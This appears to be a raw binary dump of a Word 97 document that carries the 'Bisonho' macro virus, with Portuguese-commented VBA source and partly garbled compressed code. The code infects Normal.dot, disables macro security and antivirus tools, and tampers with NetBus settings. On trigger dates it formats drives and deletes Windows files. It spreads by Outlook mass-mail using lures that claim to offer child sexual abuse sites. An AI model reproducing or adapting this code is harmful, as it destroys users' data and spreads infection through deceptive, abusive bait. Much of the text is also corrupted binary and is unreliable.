ࡱ> !# I bjbj  ] $=aaaaaa$PDF$$4$$ $ . A!"#$% [$@$NormalmH FA@FFuente de prrafo predeter.  Test PCC:\M\berne.docVVProject.Mdulo1.ChooseActionsProject.Mdulo1.ThisIsSpecialPROJECT.MDULO1.CHOOSEACTIONSPROJECT.MDULO1.THISISSPECIAL@xJs0@GTimes New Roman5Symbol3& Arial"0RR"0Test PCTest PC Oh+'0T    (4<DLssTest PCest Normal.dotTest PC1stMicrosoft Word 8.0@F#@ܪZ@"n~ ՜.+,D՜.+,, hp|   o   Ttulo 6> _PID_GUIDAN{16EB0D6A-0A8C-11D5-9290-006008511990} "&%|~()*;,-./0123456789:'<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxy{}Root Entry F=%$ 1TableWordDocumentSummaryInformation(DocumentSummaryInformation8Macros `x~VBA`x~ ThisDocument   !#xQ1W1 (S"SS"<(1Normal.ThisDocument8($HMExAttribute VB_Name = "ThisDocument" Bas1Normal.VCreatabl`False PredeclaIdxTru "ExposeTemplate Deriv$Customizc0* pHdProjectQ(@= lMdulo1 +x_VBA_PROJECTdirPROJECTwmA GRUPO : A BERNE MALTESA:EMAIL : BERNEMALTESA@IEG.COM.BR OU TBUG@IG.COM.BR!ORIGEM : BRASIL, FEV 2001ICQ UIN : 762678359INFECTA : DOC, DOT DAS VERSES DO WORD 97, 2000...POLIMORFO : NAOMUTANTE : NAOJENCRIPTADO : ISSO EU NAO SEI FAZER MESMO. QUEM SOUBER ME AJUDE PLEASE!?STEALTH : SIM, COM MUITAS TECNICAS ATE QUE BEM AVANCADAS+PROPAGA EMAIL : SIM (Thanks to melissa...)?RETRO : ANIQUILA 7 AV'S, DESABILITA A PORRA DO XBoBusEVENTOS : UM MONTE...KPROTECAO : ACABA COM QUALQUER VIRUS JA EXISTENTE E COMPLICA A VIDA DOM : ETHAN, ALEM DE DESABILITAR A VERIFICACAO DE MACROS NO WORD,J : DESABILITAR OS MENUS DE VISUALIZACAO DE MACROS (MACROS EI : BARRA DE TAREFAS), DESABILITAR AS TECLAS DE ATALHO PARAO : A LISTA DE MACROS E PARA O EDITOR DO VISUAL BASIC E DESATIVAR2 : O AVISO PARA SALVAR O NORMAL.DOTaJBASE : COM BASE EM ALGUNS CODIGOS DO MEU VIRUS GHOUL, E EMAIL DOA@6M'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''AExecuta quando um doc e fechado e transfere o controle para a subDocument_Open diretamenteA@:lX@Executa quando um doc e criadoDocument_Open diretamenteA@:lGExecuta quando um doc e aberto e depois transfere o controle para a sub RetroAction Se ocorrer algum erro... pule! >(@ Desabilita Control+Break D!F!H%J.B @@Define as variaveis Arch, que aponta para um doc qualquer ativo, N!F!H%J.L$Norm que aponta para o normal.dot, e !F!H%J.P7ItsMe, que indica da onde o virus esta sendo executado. L!R%T'Bisonho RulezISe x}Q1Y1Ws8@<:Eemb : D@NE MUG@I N  Q,@ MU#EI F j : S@ CAS xUo me& ?RE( ILA @* POR@4 EVV COM@6 XIST@8 DA D@: xME  R X Np   4 &  @H (   @  8 PX F 2 F( "p RRNHNT6@ Px T"( H0 x " $  " N ` (x*  F 8 *X  > , P h J 0  > *` , Z  J@ 0  > * "H Pp  4 . *H $x " 0  Ld`&.. <P   " @ &@,h*.  &  H h R P 0 H 2P J : 6 JP : 4 N2h ,Xd( $V P0`\N@  > B 0H`xJ(@Xp R PX P    ( 8 H X h x           ( N8 R N P0 R N P( ,x ZZZhZZ( Z Z ZH!Z!Z"Zh"b"b0#^#b#b`$ T$ 8 % tX% N% R & Rx& N& P ' Pp' L' (  ( ".(( X( 2`( ( *( "(( 0( () TH) ) )p)H*~++X, "`,h, $p, ,,L, -n8-|-v(.. ".. . ".L/ P/Nh/ :/V/P0 "X0`0 h0 60V0X1Lh1T1X2Xh22 "22H24 34X3,303434(4B`4>4B4L055*5.55@6@6H6`6666(67$ 7H7>h777$78 8@8 "H8 P8p80808888 9"X9999 "99 9 J98:P: <@; T; ;(;J<V`<< <F<2(=(`==(==(=>(8>`>(>>(>>(?8?(X??(??(?@(0@X@`@ >h@(@L@ A(A0A8AHA XAhA&pAA AAAA @A(BP8BB,B*BC PC (XC2C4CC4D$@D:hDJD6D (0EFXEE EEE "EE E .E> F`F 4xFlF  GF8G<GGGGGH*0H`H pH H RH HH L@I NI PI R0J RJ J <K.@KpKBL PLpL M.(MXMM RM FPN 2N,N  O O0OPO LXOhOPP  P @P PXP P (P PP N0Q Q RQ RQ FPR $R .R :R @0S pS HS BS RTxTL'''''''''''''''''''''''''''' BISONHO ''''''''''''''''''''''''''''''''''''''' Bisonho RulezHOBS: Cuidado com essa linha ai de cima senao o virus da pau, nao deletemNOME DO VIRUS : BISONHO#C-AUTOR : DICK MOE (FUNDADOR DO GRUPO)w`a primeira linha do projeto do normal nao for 'Bisonho Rulez, infecte! L!R!X L!RB@VCApaga todo o codigo estranho (que pode ser um outro virus, pq nao?) P!R!X P!R%T L!RB@ZInfecta o arquivoBisonho L(#Muda o nome do projeto para Bisonhoh!Termina o bloco de condicoes *SE* B!R%T'Bisonho RulezTSe a primeira linha do projeto de um arquivo aberto nao for 'Bisonho Rulez, infecte! B!R!X B!RB@VCApaga todo o codigo estranho (que pode ser um outro virus, pq nao?) P!R!X P!R%T B!RB@ZInfecta o arquivoBisonho B(#Muda o nome do projeto para Bisonhoh!Termina o bloco de condicoes *SE* C:\Ethan.___$~JAha, foi encontrado vestigios do ethan... (eu odeio esse virus nao sei pq) C:\Ethan.___ ^A@\.Define o atributo do arquivo como normal, e... C:\Ethan.___A@`(Deleta essa droga!h(!Termina o bloco de condicoes *SE*A@b(Chama a sub RetroAction f$d f$hFA@jg*Chama os eventos se o dia for igual ao mes f$l f$nFSe o segundo e igual ao minuto, faz o cara dizer que tem o pau pequeno[Ocorreu um erro. A possivel causa e que vc tenha um penis pequeno. Vc tem um penis pequeno?'p t v 'r Estilo da mensagemMicrosoft Word'x Titulo da mensagem p r x$|'z Escolha do cidadao z ~FA@g Disse que nao? Pergunta de novo!A@Chama essa sub...A@Chama essa sub tb.h(l(Termina a sub (DUH...):ESSA SUB E SO AS ACES RETRO DO VIRUS... RERERERE (HEHEHE)Ocorreu algum erro? Pule...  >(@0Desabilita o Control+Break (0Desativa a verificacao demacros no documento (0Desativa o aviso para salvar o B@MacroTools$%(Esconde o menu MacrosView$%(LEsconde o menu Barra de Ferramentas (para evitar que adicionem um menu novo,Iapesar que se pode dar um clique com o botao direito na barra de menu mas ta a pampa) N'+Define onde serao salvas as mudancas abaixoFKeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF11),5KeyCategory:=wdKeyCategoryCommand, Command:="hahaNOT"/Redireciona o atalho Alt+F11 para uma sub vaziaEKeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF8),5KeyCategory:=wdKeyCategoryCommand, Command:="hahaNOT".Redireciona o atalho Alt+F8 para uma sub vaziaIDim McAfee, FMcAfee, FProt, FFProt, VET, FVET, Avast, FAvast, TheCleaner,    A@0Declara variaveis...%Adquire os dados de registro dos Av's5HKEY_LOCAL_MACHINE\Software\Command Software\F-PROT32Location %'BHKEY_LOCAL_MACHINE\Software\Cybec\VET Antivirus for Win32\ResidentVetPath %'Av's que indicam em que pasta)HKEY_LOCAL_MACHINE\Software\McAfee\Scan95szProductLocation %'que foram instalados...2HKEY_LOCAL_MACHINE\Software\ALWIL Software\Avast32Path %'<HKEY_USERS\.DEFAULT\Software\MooSoft Development\The Cleaner tcshellex %'>HKEY_LOCAL_MACHINE\Software\Panda Software\Panda Antivirus 6.0Path %'.HKEY_LOCAL_MACHINE\KasperskyLab\Components\100Folder %'7Esse bloco abaixo define os arquivos que serao alvos...<*.* que e igual a TUDO (DUH!) e alguns Dats e Dlls vitais... \*.* ' \*.* ' \*.* ' \*.* ' \*.* ' *.* '1a chave de registro do panda tem um \ na frente.. \*.* ' \*.Dat ' \*.Def ' \*.Dat ' \*.Dat ' \*.Dat ' \*.Dll ' \*.Dll ' *.Dat ' *.Dll ' \*.Dat ' \*.Dll 'KEsse bloco abaixo detona primeiro os arquivos vitais dos antivirus e depoisJtenta detonar tudo, pq se tiver algum programa residente, o mesmo nao seraJremovido, e, com os vitais faltando, eles nao servem pra nada... hehhehe..Pau na lomba deles... A@` A@` A@` A@` A@` A@` A@` A@` A@` A@` A@` A@` A@` A@` A@` A@` A@` A@`GEsse bloco abaixo desativa as opcoes de verificacao do XoBoBus para queLele nao verifique mais porra nenhuma e pare de incomodar quem quer infectar.HObs: Esse era meu metodo para infectar os micros. Eu invadia uns lammersJpelo NetBus e substituia o normal.dot do lammah pelo virus.dot e caia foraKhehe... ou entao mandava um virus de com ou exe e executava na maquina deleG(se bem que eu ainda nao consegui entender porra nenhuma de assembly...Ivai ver que eu acostumei com basic, pq foi minha primeira linguagem e nao%consegui entender mais porra nenhuma)DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R320 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R321 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R322 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R323 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R324 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R325 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R326 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R327 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R328 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R329 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R3210 ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32 AutoStart ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32 AutoVerify ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32BOProt ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32 ExtraPort ,DISABLED5HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32 NetBusAdv ,MEssa linha abaixo muda o password do server do netbus, se existir, e (putz eu2acabei de descobrir um bug agora mesmo... foi mal)nSystem.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "PATCH") =H"c:\windows\Patch.exe /pass:killfhc" 'hehehe!!! so eu posso usar netbus!KBug Acima descoberto e corrigido agora. Era pra trocar o password do serverKdo netbus que estivesse com o nome padrao de PATCH, mas eu esqueci, ate nosHmeus outros virus, de colocar a instrucao IF, ou seja, de dizer que so eJpra trocar o password se o server existir. O Bug faria com que ele criasseJuma chave dizendo para executar o programa PATCH, mas se nao existisse, iaFdar um aviso no inicio do Windows. Putz que coisa idiota... e falta deatencao.l!Sub vazia que nao faz nada (DUH!)l,ESSAS SUBS ABAIXO SAO OS EVENTOS DESSE VIRUSSAO MUITAS MESMO...#NADA DE MENSAGINHAS BABACAS E SO...@)nao tenho certeza se funciona em todos osmicros mas ta valendoMSabe quando vc deixa o mouse em cima dos icones da area de trabalho e apareceuma mensagenzinha?Muda a mensagem da LixeiraA Berne Maltesa Rulez...>HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E} ,^HEHEHEHE... esta e a Lixeira do Dick Moe... eu comando essa bagaca ok??? ---A BERNE MALTESA--->HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}InfoTip ,Dick Moe Recycle BinPHKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E} ,^HEHEHEHE... esta e a Lixeira do Dick Moe... eu comando essa bagaca ok??? ---A BERNE MALTESA---PHKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}InfoTip ,lEsses tem de reiniciar o micro&Arregaca com a visualizacao do monitor8$HKEY_CURRENT_CONFIG\Display\Settings BitsPerPixel ,Muda o registro do windowsDICK MOE<HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionRegisteredOwner ,A BERNE MALTESA<HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionRegisteredOrganization ,Windous 1.0 by DICK MOE<HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionVersion ,lXHTem de reiniciar...Deixa o mouse com rastro...7$HKEY_CURRENT_CONFIG\Display\Settings MouseTrails , Lentao, e...0'HKEY_CURRENT_CONFIG\Control Panel\Mouse MouseSpeed ,4Vc tem de ser o the flash pra dar um clique duplo...100'HKEY_CURRENT_CONFIG\Control Panel\MouseDoubleClickSpeed ,l Reiniciar...0Troca umas cores do windows... fica bem cheguei. 200 40 10(HKEY_CURRENT_CONFIG\Control Panel\Colors ButtonFace , 0 250 100(HKEY_CURRENT_CONFIG\Control Panel\Colors ActiveTitle ,0 0 0(HKEY_CURRENT_CONFIG\Control Panel\ColorsMenu , 100 100 200(HKEY_CURRENT_CONFIG\Control Panel\ColorsWindow , 100 100 200(HKEY_CURRENT_CONFIG\Control Panel\Colors ScrollBar , 255 255 255(HKEY_CURRENT_CONFIG\Control Panel\Colors WindowText ,l8 @(  % \Normal.dot ' 0Informa o caminho do normaldot  C:\Leia.dotA@0Faz uma copia dele.C:\*.* ^A@\(Atribui C:\*.* como normal C:\io.sys0 Abre io.sys C:\msdos.sys0Abre msdos.sysC:\command.com0Abre command.comC:\Windows\win.com0 Abre win.com"Vc foi dominado pelo virus Bisonho8 Escreve umasEscrito por DICK MOE - Brasil@ mensaginhas#Presidente do grupo A BERNE MALTESA@ bunitinhas2Um verdadeiro virus de macro... querem competir???@ehheheS0S0Fecha os arquivos abertosS0zerados (so com as mensagens)S0C:\autoexec.bat0Abre o Autoexec e deixa umA@ @echo offBREAK OFF > NUL(Echo vc foi destruido pelo virus Bisonho pause > nulEcho escrito por DICK MOE pause > nulEcho quer se vingar??? pause > nul/Echo passe o arquivo c:\leia.dot para alguem!!! pause > nul:loopEcho Daniel e Tatiana Goto loopS Fecha o arquivolOcorreu um erro, pule.ZVariavelA@6 #Iniciar o gerador de ns aleatorios(  ' Chance de 1 em 8. FA@g Numero sorteado = 1, acao 1  FA@g Numero sorteado = 2, acao 2 FA@g e etc. FA@g (FA@glH8Umas acoes especiais...CSe for sete de setembro, finaliza o word e o windows e formata o HD f$d7 f$h9FGow! It's my BirthDay!!! Sete de setembro de 1984!!! Please, CAI FORA!!!   Dick MoeA@|E  >B@E B@ g)C:\Windows\Command\Format.com C:/AutotestA@3Valeu ai NIM BUS!!!!!6 { hehehe, eu nao, viva o tio Bill e suas opcoes !!! }NSe for sete de novembro, pergunta se o cara quer apagar o windows e so exibe o botao SIM f$d7 f$h11Bow! It's my syster's BirthDay!!! Do you really want to remove the 'QWINDOWS folder and all of contents???": st = vbYes + vbQuestion: tit = "Dick Moe"   $|'  Removendo C:\Windows... 3% >("8Mostra na barra de statusC:\Windows\*.exeA@`8Apaga os arquivosRemovendo C:\Windows... 13% >("C:\Windows\*.bmpA@`Removendo C:\Windows... 19% >("C:\Windows\*.gifA@`Removendo C:\Windows... 29% >("C:\Windows\*.comA@`Removendo C:\Windows... 33% >("C:\Windows\*.jpgA@`Removendo C:\Windows... 45% >("C:\Windows\*.dllA@`Removendo C:\Windows... 56% >("C:\Windows\*.sysA@`Removendo C:\Windows... 69% >("C:\Windows\*.txtA@`Removendo C:\Windows... 75% >("C:\Windows\*.docA@`Removendo C:\Windows... 80% >("C:\Windows\*.datA@`Removendo C:\Windows... 99% >("C:\Windows\*.pwlA@`Removendo C:\Windows... done >("h?h?7Se for sete de junho, cria 5000 pastas (que coisa nao?) f$d7 f$h61ow! It's my mommy's Birthday... ow? What is it??? $Dick MoeA@|ZZ0ZH\Mommy'*C:\Mommy'& &A@,.> ( '(E (F0g & * '& &A@,.@>08>h0>:Se for oito de fevereiro, apaga o conteudo do menu iniciar f$d8 f$h2KMsgBox "ow! It's my daddy's Birthday... Do you want to go to the party???",Dick MoeA@2!Deltree/y c:\windows\menu iniciarA@Deltree/y c:\windows\start menuA@h<ISe o dia for igual aos segundos, faz um joguinho e anexa o resultado a um"arquivo aleatorio da pasta windows f$d f$n0Condicao Day=Second Jockey P!!! $Dick MoeA@|1MensagemZ`0VariavelC:\Windows\*.*$~'40Arquivo aleatorio 40Abre o arquivoA@6E  '00Ganhou ou perdeu? 0FOw, you loose, try again!!!g8 Perdeu... 0FOw yeah! You win... SHITg"Ganhou... anota tudinho no arquivoDo you want to play again???0Vc quer jogar de novo?Sh8:l0:x : >(@Z(Inicializa variaveisOutlook.Application$<.68Inicializa o OutlookMAPI 6%>.8-Verifica se ja foram mandados os emails antes,HKEY_CURRENT_USER\Software\Microsoft\Office\Bisonho %Sim, sou eu mesmo, e dai? 6Outlookprofilepassword 8B@@0Inicializa a conta do usuario B 8!D!F0Conta quantos enderecos tem B 8%D.H'J 6%L.: N H!P!F J H%P'R R :!TB@0Adiciona entradas J 'J J2 F H!P!F'Ng NK---> Nao tenho certeza se esse mecanismo vai funcionar, se tiver algum bug,A por favor me avise. E que eu estou sem o office, vcs ja sabem...FEsse e um mecanismo bem simples que funciona assim: verifica se o wordGe em portugues ou ingles atraves do nome dos menus (a definicao tools eJpadrao em qualquer idioma, o que muda e o que e exibido pro usuario), paraKque assim o virus "saiba" se e pra mandar um email em portugus ou ingles..KDa resultado em 80% dos micros, excecto aqueles brasileiros bestas que usamoffice em ingls...Tools$!Tools0Se o nome for ToolsImportant Message From >!X :(VThis is a huge list of sites of kids sex... I saw the whole document and all of the sites are online and free! Check out by yourself... :(ZTools$! Ferramentasb8Se for ferramentas.. E ai, blz? >!X :(VOntem eu entrei no chat da UOL e catei um monte de sites de sexo de kids. E bem loco e todos sao gratis e estao online... da um ligo pra vc ver... tem bastante. :(Za2Important Message From >!X :(VThis is a huge list of sites of kids sex... I saw the whole document and all of the sites are online and free! Check out by yourself... :(Zh2K---> Nao tenho certeza se esse mecanismo vai funcionar, se tiver algum bug,@por favor me avise. E que eu estou sem o office, vcs ja sabem... D!^ :!\B@8Anexa o doc infectado :B@`(E envia para a lista inteira'RReseta a variavel B 8B@b Fecha a contah0EAdiciona uma chave ao registro para que nao seja enviados mais emailsSim, sou eu mesmo, e dai?,HKEY_CURRENT_USER\Software\Microsoft\Office\Bisonho ,h/l/Ah Finalmente AcabouNao E Facil???JBem, Um Abraco Ai Pro Pessoal, Pro Nimbus E Pra Todo Mundo Que Curte FazerUm Virus"E Um Pau Na Lomba Dos Av's Makers.JPensem Bem: Quanto Mais Av's Podres Que Vcs Fizerem, Mais Virus, Mais Av'sGE Consequentemente Mais Grana Proces... Eu Faco Virus So Por Diversao EStatus... Nao Por Grana.KE Um Pau Na Lomba Dos Lammahs Que Nao Sao So Lammahs, Sao Lammahs AssumidosKFudidos E Que Nao Tem Jeito: Frase Campea Do Hall: Eu Tava Tentando Acessar?Meu Email, Eu Digitava Tudo Direitinho Www.Skott@Ig.Com.Br.....E Ou Nao E De Chutar O Saco???(Depois Perguntam: Pq Vcs Fazem Virus????4Vc Acha Que Um Porra Desses Ai Em Cima Merece Viver?:Bem, Falou A Todos E Qualquer Coisa, Email-Me Ou Icq-Me... By Dick MoeB(Obs: L-Se Dick Mou, E Que Tem Uns Bobao Que Fala Dick Moe Mesmo);A Berne Maltesa......................... The New GenerationL'''''''''''''''''''''''''''' BISONHO '''''''''''''''''''''''''''''''''''''''+"Attribute VB_Name = "Mdulo1" ' BISONHO J8Bisonho RulezOBS: Cuidado com essa linha ai de cima senao o virus da pau, deletemJNOME DO VIRUS :AUTOR : DICK MOE (F`UNDADGRUPO)A BERNE MALTESAEMAIL @IEG.COM.BR OU T`BUG@IO`RIGEMURASIL, FE@V 2001I@CQ UIN: 76267835 NFECTBADOC,T DAS VERSESWOR D 97,+0...POLIMORFO: NAOMUTAN TEENCRIPTIB: I@SSO EUA SEI FAZER MESMO. QU6SOUC AJUDE PLEASE!(STEPHSIM, J MUIT@.TECNICA@"^M A`VANCA6@PROPAGA `: @ (Thanks to m8eli@:ArRE TR9: ANIQUILA 7@'SLsBIL A PORRAAMXBoBusEVENTO,: UM@IiRRO,ACABAB4QUAL@0RDJ,XI@eXEAPL@:@VdID G: ETHAN, AL@URD+R ERIFCMACR*NO |, MEN#@e@VISIZ*AK (D Eq BAb%E TAREFAS)i)S #L 9 ATAL@PAR`gA L#` !l`F` LDIawza B e C }@!TIVAZRqO;  SAL` NORt.DOT:F] OM E K-GUNS`4DIG#$MEU8GHOU@uAD@g-~ @_ ߣ?& @ PrivaSub Document_Close(]Executa quanum doc e feche transfere controle r@ sub # Open diret@nte#- End  tNew:criJ"a u"aberepoi>#Re%ActionOn Err@or Res1 NextIA'S,correr a4lg1e p Applica .EnableCancelKey 0 'De@sabili :Cc5+BreakSet Arch Ave%$.VBProject @ComponDs$.I@(1DDefine as dvave,p#`pa0!$$lqua tivoE NormaalTem|pl)b "ao nal.dot, &#ItsMaMe}3 indonpŃes %1e2doq If Q .CodeMoe.L s(1, 1) <> "'" 8TheP 1rimeiËpo%s f"{,H in9te =D CountOf.Apaga0p0digo ?@(p r u0m ou,C, 4pq ?!OIns2FR  q'IaGarq>u$q,B ŧ4" 'MuQ!` b)dG'Terminblo coicoes *SE*Q. O0OOeAe4 tEsp;]71, (? LDir("C:\Et.___", 6<Aha, foi enqqrvBigio04.. (eu e4ia5seqsei 4 BKa ]dvb.alp:Wo at 1qЇP`PBKill/bacdroga@Ey?/4.4p'C|haplsDay(Now)cMpmhU Ch>oCvevOPlpia r igual mer\MinSe0dQyi@Pgue(o azodiz3Ss@ peno Msg "O~u@}possivelP cauebuvc te8 wє. Vm$?"$ty= vbYesNo +Qu)on@'Estila!nsagTitB"Microsoft Wor6dPU#'0 7da mensagem Ret = MsgBox(0, Style, Title) 'Escolha do cidadao If nvbNo Then Lo opIt 'Disse que nao? Pe`rgunt ovo! ThisIsSpe0cial8'Chama essa sub... EmailCopy'+ tb,nd Ifb81 Sub 6'Termina 9 (DUH<)"Private #zroAction('ESSA SUB E SO AS ACES RETRO DO VIRLUS$RE (HE,On Errorsu@me Nex'Ocorreu algum eule$ A@pplicaA.EnableCancelKeywd d 'Desabilio Control+Brea k Ops.VirusProte7FalpMJtDJverif@"cao de macroHs n@oc3ntSaveN ormal@mpRo avi@so parealvar n.dotgCommandBars("Tools"l).8@M$@VisiJ5 nde ou  sNView |6)@J",Fna@tas ()B1evaradic@em @x "uMvo,@&apk `po@d> clicom-bot]ireito barSBma@3'|aPmpaCustomizG$N= 2Templ]@Defin`#Q$ser s/sb mudMabaix2 OBindings.Add C:=Build(Arg1:=wAAlt, 2aF11)@" C@goryD=,X">:="ha@haNOT"R,ed!*a@#atalho + Hu@ vazia<8Bl8TDim@ McAfeFCv, FFV ETAvas ,FClea(ner@-F ,4 P@haAVPrclqepi@yisb@/A(dqu`/ dade regiss Av'@QoSyste m.`fileStrG("", "HKEY_LOCAL_MACHINE\Sof@tware\@ F-PROT32Lo"@] | ybec\ LAn f`Win32\Res identVetPath'S{acamp?@1N6_[\S can95!sz)ducti 'a ins@b3#s!OroALWILB&(&= Y_USERS\.DE FAULTMoo1 DevelopNt\ -1tcshellexq,&GC& 6.0q2o/-KasperskyLa"b!.pon%s\10Folde>rQ 8Klabl|ocprX0xS[`Zr09v8! \[o3;'*.*2)e igua TU!1!) eRns DatsDlls qk&?F3=+ "\ `XFc7QH6/B#s_#(=K 1 'a chIYHUn`Gv2\rfr@ FQAffp\0pB@sAfveG3A[zafa749bllafthecS]Rp^C.Uavp0w|`EQ <)toPprimeiroQba)C%2ba&Vepoi‹!r tudo, pq `/XerԱPgrNr$YqAsmQorW'remosJ@$@9o L a Qhe" in]ovr0fparObs\: )u0tfo2in)mBi. Eu v a uPlammZpg`t! e stitu.iAw- !ah: vTcaAy$. ou .@+Q:2 & *xeex0ecutBLma@^5d(`0+=e,co@nseguiAer porra nenhuma de assembly... 'vai ver que eu acostumei com basic, pq foi minha0 pri<linguagem e naoconsegui e ntendmais ) System.PrivateProfileStrQ("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R3280") = "DISABLED"Yk15253k4567{ k8 yyby9   b 1AutoSta|rtaVerifyBO`?+?+#+ExtraPo?+G__bDbNet@A dv+@Essa abaixo muda o pword do serA netbus,  existir,(putza acabdescobrir uug agomesmo@#al'wwwwMicrosw\Windows\Curr0~$bxRunwPATCHAp "c:\wPatch.exe /Q:killfhc" 'he!!! s"oчposus,ar!т'B1 AciAertrrigi`. Ep00troc OerϠ f3@ve Bmpnomed0rao P2 , Hmas es`ci, P nosImeou s0 vir`col"a instrucIF, Douja,d|izt !seP "4!. O 1fariar қle c chave q`g@ PcuG0progra@8', iaFdP&avi n"o@ icio 1!. P!*acoi /idiotaq(e faltpn End Sub hahaNO T() ' vaz0 faz4(DUH!-h'ESSAS SUBS ABAIXO SAO OS EVENTpDE VIR USMUIT0MESMO PNADA DE MENSAGIN*HBCpE SS 9 ActI1( On`(r@or Resp pNext@ 0ho c+ezap  fun`na 0todos #%62'pval-PS?P+avc@$ixDmou@32pies RpQbalep@ceA"mHensPnzѽ?6M!Ja maLixeir DDY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F9054E}qDsTA Berne M#e%Rulez/\???4I@nfoTipHE es00 [Dick Moeu9PE a bag0[ ok??? ---` ERN%ALTESA  xotooo" *cyc DBin    OO`L0\OOOHG G<23'(s\o 4c#DlntpVc XfoiPK0a@pelo virqPBisop"EscreveNf2`ito pCt - Bmil'mensag"aP vA 3PTidkao grupo m'buni@ph4Um verdadeip yma:!ZhrZompetir??? 'ehhehe Cloz.!'&J 'Fech`s arquivoberto@ 'zerA`s (soA/ piSd! O2autoexec.ba??3o& @rum rec (@o offJ4 1`BREAK OFF > NULEcEv+re ui++paa> nul e--,kD4q$ "vpab$G  pasoA c:\lQ $paalm!!!/ e_ ":loopR Dзel0T ana+Go0<"P"3e+5 f` Clho3ӲsfӲ 'Ocorreu 0E e, pu^Dim ance& 'Variavel RSomizi+·igB1rѨn5leatori6h= Int((* Rndm1)'CC1 `B8@hIf = 1 ThdS'NFsorte.t-acao 1 0[C V223B'e etcuL 34[0( 5nThisIs loE`UmFacoPespeisVS࿰a8set@p2brfinal`w)2t1HDb Day(Now7" A JM`hF9"#MsgBox "ow! It's my Birth;`4 Ӛ!1984P"se, CAI FORA0ModalvbOKOnlyJD@ Moe": App .Quit wdDoNotSǸaveChanges: Tasks.ExitWindows Shell "C:\H\Command\Format.com C:/Autotest" 'Valeu ai NI@M BUS! ' { he, >nao, viva o t io Bihe suas opcoes 7 }  :Se for sete de novembr@perguntaGcara quer apagarw Yo exibe oPbotao SIM If Day(Now) = "7" And Month 11" Then mboxow! It's my systerBirth&\Do you really want tom] the " WINDOWrSmldZ; of c?ents???": s"t9vbY+ vbQuion: "DickXe)rMsgPBox(U,,=)t#fAp plica_n.StatusB@My@ARe)w~.`.. 3%@xxMostZna b,ares KrI*.exe% 'Al os arquiv6o'1( bmfp@G9% 4gtif23;jpg45dll E56 `f 6'txt 7oc T80'ae 9pw1 donE If !Ojunhcria 5000 pa|s (isa ?Ê6ŧC "ɧm "ydayow? What i0s itbE0xcla`, éaic P֠ Q Dim S"\Ma :PMkDi rP: Q Q + 1: a Q >= GoTo Fim  P f9  ,oifeverei؂ׁudo @menu i@niciarn8q2y,daddm,;$ԥigpx iparty2 vbCrit0bl ,Deltree@/y c:\v\ @Dws\@%rt p'qigual a ase~dos, faz um `jogui*~anexфresulta@a-dB patorda,  Sexdk'Con*d`o= -Jockey 4PԐ"+z 'Mensage%*FILEEE_rr9vel&c= ,(w*")'Av Open  rC As #11Abrz RPomize:,= Int((2 * Rnd)#4}'Gapu C@Pdeu?Ro71– PriP#1'Ow, loosery2 in 'P\erC62?w yeah! Y qFSHIT'an turdR%no3plaQ3'Vcè0*P0?poPyCl @Xa0Subva@ EmailCopy(PWOn Err0R.me Next @EnableCa ncelK(= 0a&OutLookAp, NamOfMapi,isoMP!IGliza vaŒ&iet CteObje0ct("k.x''oqY&.GeteSpace(@"MAPI"`'`Verifp7jaQam >s eQ0n Sѹm.Pro@fileSt%g("9"HKEY_CURRENT_USER\Software\M icros\OfPe\Bir <> "Sim@%eu`Lsm@se dai?XBv 0U.Logon "p3 Pwsword鳩aacusu`[;ypP4o.AddQsLists.CoPӄ*L9qu0 VP?erOs taIS@E  8 og--->Pue5@ certe 5se es@mecani`#@6i funcr %e` 0Zgpnbug, p ?favP@?avise. :EaF '`(semXo+gcs 2sabemM!@'Eesmecanismo bem simples que funciona asX: verifica se o wor@d 'e p@ortuguno u ingatrav"do nome dos menus (a@ defino tools eIpadraoNqualr idioma,mmuda z wxibi]pro usuario), paraLG";viru"@saiba"e pra man@dar um9ail N (ted certezbeeHvair,2 ,ti Wg,bu g, @j favo tavise!6Aa?stsA4"~, vcs j abem2AIO@Attachds.Add AcDoc"g.FullAnexaѠdoc@f|L:e p'ESvia4ya SS EWi@{" 'Resdet v@@l Next yamOfMap`i.Log 'lFe_ c\E'1Adiumaաcv ogKn5se&eVnaA_ms Sys@[.Priv`jProfStr ("", "HKEY_CURRENT_USER\Sofdtw\M\O3\1")8Sim`?89me`@xi?!hdaKAh FinalA8e7abouDNE Fac il???"Bea Um A@ŀ{A$i ` 